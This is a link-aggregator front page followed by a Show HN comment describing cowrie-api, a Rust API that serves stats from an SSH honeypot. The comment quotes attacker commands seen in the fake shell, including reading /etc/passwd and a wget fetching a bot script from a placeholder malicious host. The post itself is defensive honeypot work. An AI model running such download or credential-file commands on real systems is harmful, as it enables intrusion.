frontpage.
newsnewestaskshowjobs

Made with ♥ by @iamnishanth

Open Source @Github

fp.

Private Marketplace via DHT Broadcast and P2P Quotes

https://bitcoin-zero-down-2ea152.gitlab.io/gallery/gallery-item-neg-880/
1•machardmachard•16s ago•0 comments

MIT's Missing Semester Features Agentic Coding

https://missing.csail.mit.edu/2026/agentic-coding/
1•kurinikku•33s ago•0 comments

Designed to be specialists

https://aworkinglibrary.com/writing/designed-to-be-specialists
1•MindGods•41s ago•0 comments

Japan's health ministry panel endorses 2 iPS cell-derived products

https://www3.nhk.or.jp/nhkworld/en/news/20260219_21/
1•e12e•47s ago•0 comments

Malicious NPM Package Hides Pulsar .NET Malware Inside PNG Images

https://www.veracode.com/blog/malicious-npm-package-hiding-in-plain-pixels/
1•SamHoustonCM•1m ago•1 comments

Show HN: TWFF – A container format for declaring AI use in writing

https://github.com/Functional-Intelligence-Research-Lab/TWFF-Spec
1•normanbell•1m ago•0 comments

Family deepfakes help people celebrate and grieve in India

https://restofworld.org/2026/ai-deepfakes-grief-celebrations-india/
1•NDAjam•2m ago•0 comments

Product Engineer – A list of resources for aspiring Product Engineers

https://github.com/marcelkalveram/awesome-product-engineer
1•marcelkalveram•3m ago•0 comments

Google Translate – Google Search

https://www.google.com/search?q=google+translate&rlz=1CAKLUN_enCA1180&oq=go&gs_lcrp=EgZjaHJvbWUqD...
1•iiipoi•4m ago•0 comments

Show HN: Astroworld – A universal N-body gravity engine in Python

https://github.com/salinas2000/astroworld
1•salinas00•5m ago•0 comments

Choose Optimism (2023)

https://stephango.com/optimism
1•Sir_Twist•5m ago•0 comments

On-Board Charger, Wireless Charging and Auxiliary Power Topologies for EVs

https://www.mdpi.com/1996-1073/19/3/689
1•PaulHoule•7m ago•0 comments

Designing Data-Intensive Applications 2nd Edition is heading to print

https://bsky.app/profile/martin.kleppmann.com/post/3mf4wvtjg7s25
1•kurinikku•7m ago•0 comments

Stop Thinking of AI as a Coworker. It's an Exoskeleton

https://www.kasava.dev/blog/ai-as-exoskeleton
2•benbeingbin•7m ago•0 comments

I'm Not Reading That

https://karldaniel.co.uk/im-not-reading-that/
1•speckx•9m ago•0 comments

The Many Meanings of "Stack": From Data Structures, VMs, to Calling Conventions

https://ezzeriesa.notion.site/The-many-meanings-of-stack-bc768cb186714b579547b7b8681ee32f
1•kurinikku•9m ago•0 comments

Kumo: Cloudflare's UI Component Library

https://kumo-ui.com/
3•mmarian•10m ago•0 comments

Minions: Stripe's one-shot, end-to-end coding agents–Part 2

https://stripe.dev/blog/minions-stripes-one-shot-end-to-end-coding-agents-part-2
2•ains•10m ago•0 comments

Show HN: Inconvo – open-source chat-with-data agent that doesn't generate SQL

https://github.com/inconvoai/inconvo
1•ogham•10m ago•0 comments

Reassessing Spinosaurus: New Fossils and the Aquatic Debate

https://comuniq.xyz/post?t=818
2•01-_-•10m ago•0 comments

Show HN: Ghost OS – Let AI agents use your Mac, not just the terminal

https://github.com/ghostwright/ghost-os
1•mcheemaa•11m ago•0 comments

The Clock Has Run Out on Stablecoin Ambiguity

https://thefutureofmoney.substack.com/p/the-clock-has-run-out-on-stablecoin
2•futureofmoney•11m ago•0 comments

China Robots

https://www.newsweek.com/china-killer-robots-unitree-robotics-1917569
2•aversivet•11m ago•1 comments

40k param model beats Yolo26n (at least for small objects)

https://one-ware.com/docs/one-ai/demos/tennis-ball-demo/
1•lebeier•12m ago•0 comments

How AI is reshaping developer choice (and Octoverse data proves it)

https://github.blog/ai-and-ml/generative-ai/how-ai-is-reshaping-developer-choice-and-octoverse-da...
1•mikece•12m ago•0 comments

Show HN: Git worktree manager for Niri (Wayland compositor)

https://github.com/nskha101/niri-worktree-management
1•nithiiyan25•13m ago•0 comments

Show HN: I created a webapp to track the latest OpenClaw news

https://www.lobstersauce.news/
1•Tjerkienator•14m ago•0 comments

zeptocom.js

https://github.com/tabemann/zeptocomjs
1•tosh•15m ago•0 comments

Show HN: Cogitator – Self-hosted AI agent runtime with native A2A Protocol

https://github.com/cogitator-ai/Cogitator-AI
1•el1fe•17m ago•1 comments

Show HN: Getting Warmer – Daily word game scored by GloVe embedding similarity

https://gettingwarmer.io
1•frostadvisory•17m ago•0 comments
Open in hackernews

Cowrie API

https://github.com/sirgeon/cowrie-api
1•sirgeon•1h ago

Comments

sirgeon•1h ago
Show HN: I built a Rust API to expose my SSH honeypot data in real time

I've been running a Cowrie SSH honeypot on my VPS for a while and got tired of SSHing in to grep through logs. So I built a small REST API in Rust (Axum) that parses Cowrie's JSON logs and serves aggregated stats — top IPs, passwords, usernames, commands, sessions, the whole thing.

It's called cowrie-api and it's part of a larger project I'm calling the fenrir honeypot stack.

What it does

Cowrie logs every SSH connection attempt to a JSON file. cowrie-api tails that file and exposes it over HTTP. There are endpoints for aggregated stats, every login attempt with a success/fail flag, every command typed by attackers in fake shell sessions, activity grouped by session ID, and a health check showing log file status.

The fun part is the sessions endpoint. When an attacker gets past the login prompt (Cowrie accepts any credentials), you can see exactly what they typed in the fake shell — uname -a, cat /etc/passwd, wget http://malicious.example.com/bot.sh. It's a window into what automated attacks actually do once they're "in".

Why Rust

Honestly, partly to learn it. But also — this thing runs on the same VPS as everything else and I wanted it to be as lightweight as possible. The binary is small, memory usage is negligible, and Axum made building the API surprisingly pleasant once I got past the type system fighting me.

What I found after a few days of data

root and admin account for the vast majority of attempts. Password 123456 is still the most tried password in 2026. Most bots don't bother running commands even after a "successful" login — they just disconnect. Probably checking if the port is open for a later payload. The ones that do run commands almost always start with uname -a to fingerprint the system.

Stack

Rust + Axum, Cowrie (Python SSH honeypot), Docker Compose, deployed behind Traefik on a Dokploy VPS.

The API is live and serving real data from my honeypot at vinhegewald.de/project-fenrir if you want to see actual attack traffic.

Repo: https://github.com/sirgeon/cowrie-api

Would love feedback on the Rust code especially — still learning idiomatic patterns.